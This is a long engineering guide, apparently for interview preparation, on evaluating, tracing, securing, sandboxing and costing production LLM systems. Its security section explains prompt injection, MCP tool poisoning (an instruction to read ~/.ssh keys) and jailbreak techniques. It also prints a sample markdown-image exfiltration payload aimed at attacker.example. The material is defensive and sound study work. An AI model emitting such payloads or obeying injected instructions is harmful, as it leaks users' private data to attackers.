Evals, Observability & Safety in Production

Getting an LLM demo to work takes a week. Making it work reliably, safely and at a known cost for thousands of users is most of the job. This page covers the production half of AI engineering: how to measure quality (evals), how to see what the system actually did (tracing), how to stop it from doing harmful things (guardrails, prompt-injection defenses, sandboxing), and how to keep it up and affordable (reliability and cost engineering). Interviewers ask about this because it is where real experience shows. Anyone can describe RAG. Fewer people can explain how they knew their RAG system got better, or what they did when it leaked data through a markdown image.

1. Eval-driven development: why vibes fail

Traditional software has a crisp contract: given input X, the function returns Y, and a unit test asserts it. LLM systems break this in three ways. First, outputs are open-ended: many different strings are correct and many subtly different ones are wrong. Second, behavior is non-deterministic and non-local: one word changed in a system prompt can fix the case you were looking at and quietly break twelve you weren't. Third, the input distribution is unbounded: users type things you never imagined. "Vibe checking" means trying five prompts in a playground and deciding it looks better. That samples a tiny, biased slice of the distribution (the cases you already thought of), and it is not repeatable, so you can't tell progress from noise.

The fix that practitioners have converged on is to treat evals as the core development artifact, the way TDD treats tests. Hamel Husain's widely cited essay argues that teams who fail with LLM products almost always lack a robust evaluation system, and that the eval system is what makes fast iteration possible. Husain 2024 Anthropic's guidance on agent evals makes a similar point: start with a small set of tasks drawn from real failures (they suggest 20–50) rather than waiting for a perfect benchmark. Anthropic 2026

The loop in practice

1. Collect. Log every interaction as a trace. Sample traces, both at random and targeted ones (thumbs-down, escalations, long conversations, tool errors).
2. Analyze. A domain expert reads the traces and writes down what went wrong, then groups the notes into failure categories and counts them. This tells you which problems matter most. It is the step teams most often skip.
3. Encode. For each important failure mode, write a test: a set of inputs (real or synthetic) plus a grader (assertion, reference comparison, or judge).
4. Change. Make one change at a time: a prompt edit, a retrieval tweak, a model swap, a new tool description.
5. Measure. Run the full suite, compare against the baseline on the same items, check cost and latency too, and only then ship. Failures that come back go into step 1.

2. Types of evals

There are several independent axes to keep apart: how you grade (code, reference, model, human), when you grade (offline before shipping vs online in production), and what you grade (a single component vs the end-to-end system, a final answer vs a whole trajectory).

By grading method

A practical rule is a grader pyramid: push as much as possible into code checks (cheap, deterministic, run everywhere), use reference comparison where labels exist, reserve LLM judges for the fuzzy criteria that matter, and use humans mainly to calibrate the judges and discover new failure modes. Anthropic's agent-eval guidance describes the same three-way split (code-based, model-based, human) with the same trade-offs: code is fast and objective but brittle, models are flexible but need calibration, humans are the gold standard but don't scale. Anthropic 2026

Offline vs online

Component vs end-to-end

A RAG or agent system is a pipeline, and end-to-end scores hide where it broke. Component evals isolate stages: retrieval (recall@k and MRR against labeled relevant chunks: did the right document get retrieved at all?), routing/classification (accuracy, confusion matrix), generation given perfect context (faithfulness, completeness), tool selection (right tool, right arguments). End-to-end evals measure what the user experiences. You need both. End-to-end tells you whether it is good. Component evals tell you what to fix. A classic diagnostic is to feed the generator the gold context: if end-to-end accuracy jumps, your bottleneck is retrieval, not the prompt.

Regression suites in CI

Distinguish two kinds of suites. Capability evals are hard tasks with low current pass rates that tell you how far you can push. Regression evals are tasks you already pass, which should stay near 100%, and any drop is a red flag. Anthropic describes exactly this split. Anthropic 2026 In CI, a typical setup looks like this:

• Fast tier on every PR touching prompts, tools or model config: code assertions plus a small (50–200 item) judged regression set. Minutes, a few dollars.
• Full tier nightly or pre-release: the whole suite, multiple trials per item, pairwise comparison against production, cost and latency report.
• Gate on deltas with thresholds, not absolute scores: "no category drops more than X points, and the overall change is not statistically negative". Because of noise, hard-failing on a 1-point drop will make the pipeline flaky (see §6).
• Cache model responses keyed on (prompt hash, model, params) so unchanged cases don't cost tokens, and so flakes can be told apart from real changes.

3. Agent and trajectory evals

Agents add three complications. They take many steps, so there are many places to fail. They act on an environment, so correctness lives in the world's state, not in the text. And there are many valid paths to the same goal. Anthropic's terminology is useful here: a transcript (or trace) is the full record of a trial (outputs, tool calls, reasoning, intermediate results), while the outcome is the final state of the environment, which is separate from what the agent said it did. Anthropic 2026

Tool-call correctness

For function-calling, split correctness into parts: (a) should a tool be called at all (vs answer directly or ask a clarifying question), (b) which tool, (c) arguments: schema-valid, semantically right, with values grounded in the conversation (not hallucinated IDs), (d) ordering and dependency constraints, and (e) handling of tool errors (retry, alternative, or tell the user). Most of (a)–(d) can be checked in code against a labeled expected call, using order-insensitive comparison where order doesn't matter and tolerant matching for free-text arguments.

Simulated users

Conversational agents need a counterpart. τ-bench pioneered using an LLM-simulated user, with a hidden goal and persona, talking to the agent under a domain policy, with grading on final database state. Yao+ 2024 User simulators make multi-turn evals repeatable, but they add their own variance and failure modes (the simulator leaks the goal, gives up, or behaves unrealistically). Review some simulated transcripts by hand.

4. Building eval datasets and doing error analysis

Where cases come from

Structured synthetic generation works much better than "generate 100 test questions". Define the dimensions your inputs vary along (for a travel agent: intent × persona × complexity × channel, say), enumerate tuples of those dimensions (by hand or with a model), then have a model write a realistic query for each tuple. This gives controlled coverage and makes it easy to see which slice fails. Husain and Shankar recommend this dimension-tuple approach over free-form generation. Husain+Shankar FAQ Then run the synthetic queries through the real system and analyze the resulting traces exactly as you would production traces.

Coverage: what a good dataset contains

• Happy paths in proportion to traffic, so the aggregate score means something.
• Known failure modes from error analysis, each with enough cases (roughly 20+) to measure.
• Edge cases: empty or irrelevant retrieval, very long inputs, multiple languages, ambiguous requests that should trigger a clarifying question, out-of-scope requests that should be refused, conflicting instructions.
• Negative cases: things the system should not do (no tool call, abstain, refuse). These are easy to forget and important for judge calibration.
• Adversarial: injection payloads in documents, emails and tool outputs; jailbreak attempts.
• Slices tagged with metadata (category, difficulty, source), so you report per-slice, not just the aggregate.

Error analysis: open coding → axial coding

This technique is borrowed from qualitative research (grounded theory) and popularized for LLM products by Hamel Husain and Shreya Shankar. It is the highest-leverage habit on this page. Husain+Shankar FAQ

1. Sample about 100 diverse traces. Their FAQ suggests starting around 100 and annotating at least the first ~30 yourself, and continuing until new traces stop revealing new failure types ("theoretical saturation"). Husain+Shankar FAQ
2. Open coding. For each trace, write a short free-form note on the first / most upstream thing that went wrong, in plain language ("asked for the user's budget twice", "cited a listing that doesn't match the filters"). Don't force categories yet. Pass/fail plus a critique.
3. Axial coding. Cluster the notes into a failure taxonomy of a handful of named, distinct categories, merging and splitting until each is crisp. An LLM can propose clusters, but a human decides.
4. Count. Build a table of category → frequency (and severity). This is your prioritized roadmap. Often 2–3 categories account for most failures.
5. Decide per category: is it a quick fix (an obvious prompt or spec omission, so just fix it, perhaps with a code assertion) or a persistent, fuzzy problem worth a dedicated evaluator (judge plus labeled test set)?

Two organizational tips from the same source: appoint a single domain expert as the quality "benevolent dictator" rather than committee labeling, and build a simple custom data viewer that shows a full trace on one screen with one-click labeling, because the friction of reading traces is what kills the habit. Husain+Shankar FAQ

5. LLM-as-judge done right

LLM judges are what make evaluating open-ended output scalable. Zheng et al. showed that strong models like GPT-4 agree with human preferences at rates (over 80%) comparable to human–human agreement on chat benchmarks, and also documented the main biases. Zheng+ 2023 But an unvalidated judge is just another unverified model in your pipeline. The practitioner consensus has settled on a few rules.

Rule 1: binary, single-criterion, with a critique

Prefer pass/fail on one well-defined criterion over a 1–10 score on "quality". Reasons: (a) the difference between a 6 and a 7 is undefined, so neither humans nor models score it consistently; (b) binary labels force you to decide what "good enough" means, which is the product decision; (c) binary metrics are easy to aggregate, threshold and track; (d) calibration against humans is a simple confusion matrix. Husain and Shankar are emphatic on this point. Husain+Shankar FAQ Ask the judge to write its reasoning/critique first, then the verdict. This improves accuracy, much like chain of thought, and gives you an explanation to debug. G-Eval is an early example of chain-of-thought plus form-filling for judges. Liu+ 2023

A good judge prompt contains: the criterion stated precisely; what counts as pass and what counts as fail; few-shot examples of both, including borderline ones, taken from your labeled data; the relevant context (retrieved docs, the user's request, the policy); and a structured output format ({"critique": "...", "pass": true}). Build one judge per failure mode, not one mega-judge.

Rule 2: calibrate against human labels

Treat the judge as a classifier whose ground truth is your domain expert. Split expert-labeled examples into train (few-shot examples for the prompt), dev (iterate on the prompt) and a held-out test set. Then measure on test:

Report both rather than raw accuracy, because pass/fail classes are usually imbalanced: if 90% of outputs pass, a judge that always says "pass" has 90% accuracy and catches no failures (TNR = 0). For agreement between any two raters (human–human or judge–human), Cohen's kappa corrects for chance:

where \(p_o\) is observed agreement and \(p_e\) is the agreement expected by chance given each rater's label frequencies. Rough reading: κ > 0.6 is substantial, > 0.8 is near-perfect (these are conventional bands, not laws). Measuring human–human κ first is useful: if two experts only reach κ = 0.5, your criterion is underspecified, and no judge will do better.

Correcting the measured pass rate. With known TPR and TNR, you can de-bias the judge's observed pass rate \(p_{obs}\) on unlabeled production data into an estimate of the true pass rate \(\theta\) (the standard misclassification correction):

Example: TPR = 0.95, TNR = 0.80, observed pass rate 0.85 → \(\hat\theta = (0.85 + 0.80 - 1)/(0.75) \approx 0.87\). The correction blows up as TPR + TNR approaches 1, which is a judge no better than chance. Bootstrap over the labeled test set to get a confidence interval.

Rule 3: know the biases

6. Statistics: evals are noisy measurements

An eval score is an estimate from a sample, and LLM outputs add a second source of randomness on top of item sampling. Engineers who report "v2 scored 82% vs v1's 79%, so ship it" without an interval are often wrong. Evan Miller's paper from Anthropic lays out the statistical toolkit: standard errors from the central limit theorem, clustered standard errors when items are correlated, paired comparisons, and power analysis. Miller 2024

Standard error of a pass rate

For a pass rate \(\hat p\) over \(n\) independent items:

The last column uses the SE of a difference between two independent samples, \(\sqrt{2}\cdot SE\), times 1.96. It is a rough significance threshold, not a full power calculation; for 80% power you need about 1.4× more again. The takeaway: halving the CI width costs 4× the items. A 50-item suite is excellent for catching big regressions and useless for telling apart two prompts that differ by 3 points.

Reducing variance cheaply

• Pair your comparisons. Run both variants on the same items and analyze per-item differences. Item difficulty is the dominant source of variance, and pairing cancels it. Often this is a big reduction compared with treating the runs as independent samples. Miller 2024 For binary outcomes, McNemar's test looks only at the items where the two variants disagree.
• Multiple trials per item. Sampling k outputs per item and averaging cuts the within-item (generation) variance. It doesn't help with between-item variance, which needs more items.
• Cluster correctly. If items come in groups (10 questions about the same document, or turns of one conversation), they aren't independent. Use clustered SEs, or your intervals will be too narrow. Miller 2024
• Temperature 0 isn't determinism. Batched inference, MoE routing and floating-point non-associativity can still change outputs at temperature 0 on many hosted APIs. Measure run-to-run variance instead of assuming it is zero.

pass@k vs pass^k: reliability for agents

For code generation the common metric is pass@k: the probability that at least one of k samples succeeds, which suits "generate several, run tests, keep one". For agents that act in the world, the user experiences every run, so what matters is consistency. τ-bench introduced pass^k: the probability that all k independent trials of the same task succeed. Yao+ 2024 With n trials per task, of which c succeed, the unbiased estimators averaged over tasks are:

If every task had the same per-trial success p, then pass^k = p^k. The decay is brutal: p = 0.9 gives pass^8 ≈ 0.43, and p = 0.6 gives pass^8 ≈ 0.017. τ-bench reported GPT-4o-based agents below 50% pass^1 and below 25% pass^8 in the retail domain (at publication in 2024). Yao+ 2024 In practice tasks vary: some are always solved, some never, so measured pass^k decays more slowly than \(\bar p^k\). The shape of the curve tells you whether failures are concentrated (a few impossible tasks, which you can fix) or spread out (flaky across the board, which needs robustness work).

7. Online evaluation

Offline suites tell you a change is probably not worse. Only production tells you it is better for users. Online evaluation has three layers.

Reference-free graders on live traffic

Run the same code assertions and calibrated judges asynchronously on a sample of production traces (all traffic for cheap checks, 1–10% for judges, depending on cost). Track pass rates per failure category on a dashboard and alert on drops. This catches drift: new user intents, upstream data changes, a provider's silent model update. Flag judge failures for human review, and those reviews feed back into the eval set.

Implicit and explicit feedback signals

A/B tests and guardrail metrics

Randomize users (not requests, if experience persists across turns) between control and treatment, pick a primary metric in advance, and estimate the sample size from the expected effect and the metric's variance. Standard online-experimentation discipline applies: pre-registration, no peeking without sequential correction, sample-ratio-mismatch checks. ExP Platform On top of the primary metric, define guardrail metrics that must not regress even if the primary improves: p95 latency, cost per conversation, safety-violation rate, refusal rate, escalation rate, error rate. A prompt that raises resolution by 2% but doubles cost or increases policy violations should fail the experiment.

8. Observability and tracing

An LLM application is a distributed system whose most important component is a black box that returns different answers each time. Classic APM (latency, error rate, throughput) is necessary but tells you nothing about why an answer was wrong. LLM observability adds the content: what exactly went into each model call and what came out.

The trace model

Borrowing directly from distributed tracing: one trace per user request (or per agent run), made of nested spans for each unit of work: the agent loop, each LLM call, each retrieval, each tool call, each guardrail check. Multi-turn conversations are linked by a session or conversation ID across traces.

What to log on each span

OpenTelemetry GenAI semantic conventions

To avoid every vendor inventing its own schema, OpenTelemetry defines GenAI semantic conventions: standard span names and attributes for model calls, agents, tools and retrieval. Inference spans use gen_ai.operation.name (e.g. chat, embeddings), gen_ai.provider.name, gen_ai.request.model, and usage attributes such as gen_ai.usage.input_tokens / output_tokens (plus cache and reasoning token breakdowns), with span names like chat {model}. Agent-level operations include invoke_agent, create_agent and execute_tool. Message content (gen_ai.input.messages, gen_ai.output.messages, gen_ai.system_instructions) is opt-in because of its sensitivity. OTel GenAI spans

Tools landscape (brief, factual)

All of the following offer tracing of LLM, tool and retrieval spans plus some eval/dataset tooling. The differences are mostly in deployment model and emphasis. Feature sets change fast, so verify current capabilities and licensing.

Architecturally the choice is SDK/instrumentation-based (rich nested spans, including non-LLM steps) vs proxy/gateway-based (zero code change, sees every LLM call, but blind to your retrieval and tool logic unless you add spans). Many teams use both: a gateway for cost, keys, rate limits and fallback, plus SDK tracing for application structure. Emitting OTel-compatible spans keeps you portable across backends.

9. Debugging agents from traces

Agents fail in characteristic ways, and each has a signature in the trace. A systematic approach is to find the first divergence: walk the trace from the top and find the earliest step where a correct agent would have done something different. Everything after it is usually a consequence. (This is the same "most upstream failure" rule used in open coding.)

Practical habits: make traces replayable (store enough to re-run any span with a modified prompt, a "playground from trace" feature most tools have); diff traces of a passing and a failing run of the same task; aggregate across traces (tool error rates, steps-per-task distributions, top failing tools) instead of only reading individual ones; and promote every debugged failure into the regression suite.

10. Guardrails

Guardrails are runtime checks wrapped around the model, on the way in (input rails) and on the way out (output rails), plus checks on tool calls in agents. They are not a substitute for evals (evals measure, guardrails enforce), and they are not a complete security solution against a motivated attacker (§11). They are a reliability and policy layer that catches common bad cases cheaply.

Llama Guard is the best-known open example of the LLM-as-safety-classifier approach. The original was a Llama 2 7B model fine-tuned to classify both user prompts and model responses against a configurable taxonomy of unsafe categories, where you can change the policy by editing the category list in the prompt. Inan+ 2023 Later versions extended this, including multimodal input in Llama Guard 4. Meta: Llama Guard 4 Anthropic's Constitutional Classifiers train input and output classifiers on synthetic data generated from a natural-language constitution, and report robustness against universal jailbreaks across thousands of hours of red teaming at modest over-refusal and compute cost. Sharma+ 2025

Frameworks. NeMo Guardrails (NVIDIA) uses a DSL (Colang) to define programmable "rails": input, output, dialog-flow, retrieval and execution rails that sit between the app and the LLM. Rebedea+ 2023 Guardrails AI is a Python library built around composable validators (from a hub) applied to inputs and outputs, with on-fail policies such as re-ask, fix, filter or raise, and structured-output validation. Guardrails AI docs Both are optional conveniences: many production teams hand-roll the same pattern with a validator pipeline and a classifier service.

Managing the latency cost

• Order by cost: cheap deterministic checks first, short-circuit before expensive ones.
• Run input rails in parallel with generation (optimistically start the LLM call and cancel it if the rail fails). This hides rail latency at the cost of wasted tokens on blocked requests.
• Streaming output rails: check chunks or sentences as they stream, accepting that a few tokens might be shown before a block, or buffer a short window. Full-response checks add the entire check latency to time-to-last-token and break streaming UX.
• Asynchronous, not blocking, for low-severity checks: log and alert rather than block (e.g. tone), keeping blocking rails for high severity (PII leakage, unsafe actions).
• Measure false positives. Over-blocking is a quality failure. Track the refusal and block rate as a guardrail metric, and include benign-but-edgy cases in the eval suite.

11. Security: prompt injection and agent threats

Why prompt injection is different from SQL injection

SQL injection was solved by separating code from data: parameterized queries give the database a channel for instructions and a separate channel for values. LLMs have no such separation. The system prompt, the user's message, a retrieved web page and a tool result are all just tokens in one context window, and the model is trained to follow instructions wherever they appear. Prompt injection is getting the model to follow attacker-supplied instructions instead of the developer's. The term was coined in 2022 by Simon Willison, after public demonstrations against GPT-3 apps. Willison 2022

Why it is still unsolved. Detection classifiers and "instruction hierarchy" training reduce success rates against known attacks, but the attack space is all of natural language. A 2025 paper by researchers from OpenAI, Anthropic and Google DeepMind evaluated 12 published defenses against adaptive attacks (gradient-based, RL and search-based, plus human red-teamers). They reported attack success rates above 90% for most of them, even though the defenses had reported near-zero rates against static attacks. Nasr+ 2025 The working assumption for system design is therefore: if untrusted text reaches the model's context, an attacker controls the model's outputs, including its tool calls. Security has to come from what those outputs are able to do.

The lethal trifecta

Simon Willison's framing: an agent becomes exploitable for data theft when it combines three capabilities: (1) access to private data, (2) exposure to untrusted content, and (3) the ability to communicate externally (any channel that can carry data out). If all three are present, an injected instruction in the untrusted content can tell the model to read the private data and send it out. Willison 2025 The defense is to remove at least one leg for any given context. Meta's "Agents Rule of Two" (late 2025) generalizes this: within one session an agent should have at most two of [A] processing untrustworthy inputs, [B] access to sensitive systems or private data, [C] changing state or communicating externally. If it needs all three, it should not run autonomously and needs at least human supervision. Meta 2025

Exfiltration channels people forget

• Markdown images: the model outputs ![](https://attacker.example/p.png?d=BASE64_SECRET). The chat UI renders it, and the browser fetches the URL with no click, carrying the data out. This has been reported against many major chat products. Willison: exfiltration Fixes: don't render images from arbitrary domains (a CSP / image-proxy allowlist), and strip or neutralize URLs in model output.
• Links with data in the query string that the user is tricked into clicking, or that link previews unfurl automatically (chat apps fetch URLs to build previews).
• Tool calls: send_email, http_get, creating a public gist, writing to a shared doc, opening a PR, even a DNS lookup from a code sandbox.
• Side effects visible to the attacker: changing a calendar invite they can see, or posting a comment.

Tool poisoning and MCP-specific risks

With the Model Context Protocol, third-party servers supply tool descriptions that go straight into the model's context. Invariant Labs showed tool poisoning: hidden instructions in a tool's description (shown to the model, often not to the user) that tell the agent to, say, read ~/.ssh keys and pass them as a hidden argument. Related attacks are rug pulls (a server changes its tool descriptions after the user approved it) and shadowing (a malicious server's description changes how the agent uses a different, trusted server's tools). Invariant Labs 2025 The MCP spec's security best practices also cover confused-deputy problems with OAuth proxies, token passthrough (forbidden) and session hijacking. MCP spec Mitigations: install only vetted servers, pin and hash tool descriptions and alert on changes, show users full descriptions, keep per-server permission scopes, and treat tool outputs as untrusted content.

Defenses, from weakest to strongest

Dual LLM and CaMeL

Willison's Dual LLM pattern (2023): a privileged LLM receives only trusted input (the user's request) and can call tools. A quarantined LLM processes untrusted content but has no tools. Its outputs are stored as opaque variables ($VAR1) that the privileged LLM can pass around (for example "display $VAR1 to the user") but never reads. Willison 2023 Google DeepMind's CaMeL (2025) makes this rigorous. The privileged LLM writes a program (in a restricted Python subset) from the trusted query, which fixes the control flow before any untrusted data is seen. A quarantined LLM only extracts values from untrusted data. A custom interpreter tracks capabilities (provenance and allowed readers) on every value and enforces security policies at each tool call, for instance "an email address that came from an untrusted document can't be the recipient of private data". On AgentDojo it solved 77% of tasks with provable security, versus 84% for an undefended system. Debenedetti+ 2025 A companion paper catalogs practical patterns along the same lines: action-selector, plan-then-execute, LLM map-reduce, dual LLM, code-then-execute and context minimization. Each gives up some generality for a provable property. Beurer-Kellner+ 2025

Jailbreaks

Jailbreaks target the model's safety training: role-play framings, many-shot examples, obfuscation (encodings, low-resource languages), and automated adversarial suffixes. Zou et al. showed that optimized suffixes transfer across models, including closed ones. Zou+ 2023 For an application developer the main concern is usually brand and policy risk (the bot says something harmful) rather than data loss. Mitigations are provider safety training plus input/output classifiers (§10) and monitoring. For agents, jailbreaks and injections combine: an injected jailbreak can unlock behaviors the system prompt forbids.

OWASP Top 10 for LLM Applications (2025)

The current OWASP list for LLM apps is the 2025 edition. OWASP GenAI Worth memorizing at the level of names plus a one-line mitigation:

12. Sandboxing agent code execution

Code-interpreter tools, coding agents and "computer use" agents run model-written code, which you should treat as code written by an attacker (because, given injection, it might be). Isolation has several layers: how strong the compute boundary is, what the sandbox can reach over the network, what credentials and data are inside it, and resource limits.

Hosted sandbox services (for example E2B, which runs on Firecracker microVMs, and similar offerings from cloud platforms) package this up for agents. E2B Whatever the boundary, the controls that matter most in practice are:

• Network egress control: default-deny, with an allowlist (package mirror, specific APIs) through a proxy that logs requests. This is how you cut the exfiltration leg of the trifecta for code execution. Remember DNS as a covert channel.
• No ambient credentials: no cloud metadata endpoint access (block 169.254.169.254), no long-lived tokens. Inject short-lived, narrowly scoped tokens only for the duration of a call, ideally via a proxy that adds the credential outside the sandbox.
• Ephemeral and per-session: a fresh sandbox per user or task, destroyed afterward. Never share between tenants.
• Resource limits: CPU, memory, disk, process count, wall-clock timeout, to stop fork bombs, crypto-mining and runaway loops.
• Filesystem scoping: mount only the workspace the task needs, read-only where possible. For coding agents on a developer machine, confine writes to the repo and require approval for commands outside an allowlist.

13. Human-in-the-loop design

Human oversight is a design parameter, not an afterthought. The question is where a human adds the most risk reduction per unit of their attention.

Design notes: (1) Confidence signals from LLMs are poorly calibrated. Verbalized confidence ("I'm 90% sure") is unreliable. Prefer external signals: judge verdicts, retrieval scores, agreement across samples (self-consistency), rule triggers, classifier probabilities you have calibrated on labeled data. (2) Approval fatigue is a security bug. If users approve 50 prompts a day, they stop reading them. Gate only what matters, make the action legible (exact recipient, amount, command), and allow scoped standing approvals ("allow npm test in this repo"). (3) Durable execution: approval gates mean an agent may wait hours, so persist its state (workflow engines, checkpointed agent graphs) rather than holding a request open. (4) Measure the escalation rate as both a cost metric and a quality signal, and use reviewed escalations as labeled eval data.

14. Reliability engineering

From the application's point of view an LLM API is a remote dependency with high, heavy-tailed latency (seconds to minutes for reasoning models), rate limits, occasional outages, and output that can be malformed. Standard distributed-systems practice applies, with a few LLM-specific twists.

15. Cost management

LLM cost is roughly \(\text{cost} \approx \sum_{\text{calls}} (t_{in}\cdot p_{in} + t_{out}\cdot p_{out})\), with output tokens typically several times more expensive than input, and reasoning tokens billed as output. Agents re-send a growing context on every step, so input tokens for an n-step run grow roughly as \(O(n^2)\) without caching or compaction. That is the most common cost surprise.

Back-of-envelope

Say a support agent averages 6 LLM calls per conversation, with an average 8k input and 400 output tokens per call, on a model priced at $3 / $15 per million tokens (an illustrative price, not any specific model's). Per conversation: input 48k × $3/M = $0.144, output 2.4k × $15/M = $0.036, total ≈ $0.18. At 100k conversations a day that is ≈ $18k/day. If 75% of the input is a stable prefix (system prompt plus tools) served from a prompt cache billed at about 10% of the input price, input cost falls to about $0.047 and the total to ≈ $0.083, roughly half.

Budgets and monitoring

• Per-request budgets: max steps, max total tokens, max $ per agent run. Abort or ask the user when exceeded.
• Per-user / per-tenant quotas: daily token or $ limits by plan tier, so a single abusive or buggy client can't run up the bill.
• Attribution: tag every span with feature, tenant and prompt version, and compute cost per span, so dashboards show cost per conversation, per feature, per successful task. Cost per successful outcome is the right unit economics metric.
• Alerts: anomaly alerts on spend rate, tokens per request (catches loops and context bloat), cache hit rate drops (someone put a timestamp at the top of the system prompt).

16. Versioning, rollouts and canaries

Behavior is determined by much more than the code. Version and log each of these, and treat a change to any of them as a deploy:

Rollout ladder. (1) Offline eval gate in CI. (2) Shadow mode: run the new version on live traffic in parallel without showing users, then compare outputs and costs with online judges and pairwise comparison. (3) Canary: 1–5% of traffic behind a feature flag, with guardrail metrics (error rate, latency, cost, safety-flag rate, escalation rate) and automatic rollback thresholds. (4) A/B test for the product metric. (5) Ramp. Keep the previous version deployable for instant rollback, which is easy when prompts and model choices are config rather than code. Changes with side effects (agent actions) deserve slower ramps than read-only Q&A.

17. Hallucination mitigation

"Hallucination" covers two different failures. Unfaithfulness means the output contradicts or goes beyond the provided context. Factual error means it contradicts the world. Mitigation is a stack. No single technique eliminates either.

1. Grounding. Supply authoritative context (RAG, tool lookups) and instruct the model to answer only from it. Hallucination then shifts from "made-up facts" to "misread or over-extrapolated context", which is easier to check.
2. Citations. Require claim-level citations to source chunk IDs, then verify them: the cited chunk exists and was retrieved (code check), and the chunk supports the claim (NLI model or judge). Unverified citations give false confidence.
3. Abstention. Explicitly allow and reward "I don't know / not in the provided documents", with eval cases where abstaining is the correct answer. Models trained or prompted to always answer will guess. A retrieval-score threshold below which the system declines or asks a clarifying question is a cheap, effective gate.
4. Verification steps. Chain-of-Verification has the model draft an answer, plan verification questions, answer them independently, then revise. Dhuliawala+ 2023 SelfCheckGPT samples several answers and flags claims that aren't consistent across samples, since hallucinated details tend to vary while known facts stay stable. Manakul+ 2023
5. Structured outputs and tools for exact facts. Don't ask the model to recall prices, dates or account balances. Have it call a tool and render the value. For arithmetic, use code.
6. Measure it. Decompose long answers into atomic claims and score the fraction supported by a knowledge source (the FActScore approach). Min+ 2023 Add a faithfulness judge to online evals.
7. UX. Show sources, mark uncertainty, make verification easy for users in high-stakes domains, and keep a human in the loop where errors are costly (§13).

18. Compliance and data governance (brief)

• Provider data use and retention. Major API providers say they don't train on API data by default. OpenAI states this has been the case since March 2023 and keeps abuse-monitoring logs for up to 30 days by default. OpenAI data controls Anthropic says it deletes API inputs and outputs within 30 days by default, with exceptions such as policy-violation flags and custom agreements. Anthropic privacy
• Zero data retention (ZDR). Eligible enterprise customers can arrange for content not to be stored beyond processing. Note the catch: features that are stateful by nature (stored conversations, assistants or threads, vector stores, some caching or batch features) may be unavailable or behave differently under ZDR. OpenAI data controls
• Regional processing / data residency. Options include provider regional endpoints and running models through your cloud (Bedrock, Vertex AI, Azure). OpenAI lists data-residency regions but only a subset that support regional processing, not just storage. OpenAI data controls Check whether "residency" covers inference, logs and caches separately.
• Your own stack is the bigger risk. Traces, eval datasets built from production, vector stores and fine-tuning sets all copy user data. Apply the same retention, deletion (right to erasure must reach the vector index and the eval sets too), access control and regional rules to them. Redact PII before indexing or logging where possible.
• Regulation. The EU AI Act phases in obligations over 2025–2027 (general-purpose-model obligations first, high-risk system obligations later). Sector rules (HIPAA, financial regulation) and existing privacy law (GDPR) apply to LLM features like any other processing. You need audit logs of AI decisions and human-oversight records for high-risk uses.

Interview question bank